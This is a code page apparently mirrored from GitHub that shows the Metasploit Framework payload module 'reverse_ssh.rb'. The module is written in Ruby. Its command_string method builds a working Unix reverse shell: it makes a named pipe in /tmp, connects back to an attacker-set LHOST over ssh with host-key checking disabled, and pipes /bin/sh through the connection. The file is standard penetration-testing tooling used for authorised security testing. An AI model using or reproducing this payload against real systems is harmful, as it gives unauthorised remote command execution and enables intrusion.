Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/cmd/unix/reverse_ssh.rb
19669 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'msf/core/handler/reverse_ssh'
7
8
module MetasploitModule
9
CachedSize = :dynamic
10
11
include Msf::Payload::Single
12
include Msf::Sessions::CommandShellOptions
13
14
def initialize(info = {})
15
super(
16
merge_info(
17
info,
18
'Name' => 'Unix Command Shell, Reverse TCP SSH',
19
'Description' => 'Connect back and create a command shell via SSH',
20
'Author' => [
21
'RageLtMan <rageltman[at]sempervictus>', # Rex/Metasploit
22
'hirura' # HrrRbSsh
23
],
24
'License' => MSF_LICENSE,
25
'Platform' => 'unix',
26
'Arch' => ARCH_CMD,
27
'Handler' => Msf::Handler::ReverseSsh,
28
'Session' => Msf::Sessions::SshCommandShellReverse,
29
'PayloadType' => 'cmd',
30
'RequiredCmd' => 'ssh',
31
'Payload' => { 'Offsets' => {}, 'Payload' => '' }
32
)
33
)
34
register_advanced_options(
35
[
36
Msf::OptString.new('SshClientOptions', [
37
false,
38
'Space separated options for the ssh client',
39
'UserKnownHostsFile=/dev/null StrictHostKeyChecking=no'
40
]),
41
OptString.new('SSHPath', [true, 'The path to the SSH executable', 'ssh']),
42
OptString.new('ShellPath', [true, 'The path to the shell to execute', '/bin/sh'])
43
]
44
)
45
end
46
47
#
48
# Constructs the payload
49
#
50
def generate(_opts = {})
51
return super + command_string
52
end
53
54
#
55
# Returns the command string to use for execution
56
#
57
def command_string
58
backpipe = Rex::Text.rand_text_alpha_lower(4..8)
59
lport = datastore['LPORT'] == 22 ? '' : "-p #{datastore['LPORT']} "
60
opts = datastore['SshClientOptions'].blank? ? '' : datastore['SshClientOptions'].split(' ').compact.map { |e| "-o #{e} " }.join
61
"mkfifo /tmp/#{backpipe};#{datastore['SSHPath']} -qq #{opts}#{datastore['LHOST']} #{lport}0</tmp/#{backpipe}|#{datastore['ShellPath']} >/tmp/#{backpipe} 2>&1;rm /tmp/#{backpipe}"
62
end
63
end
64
65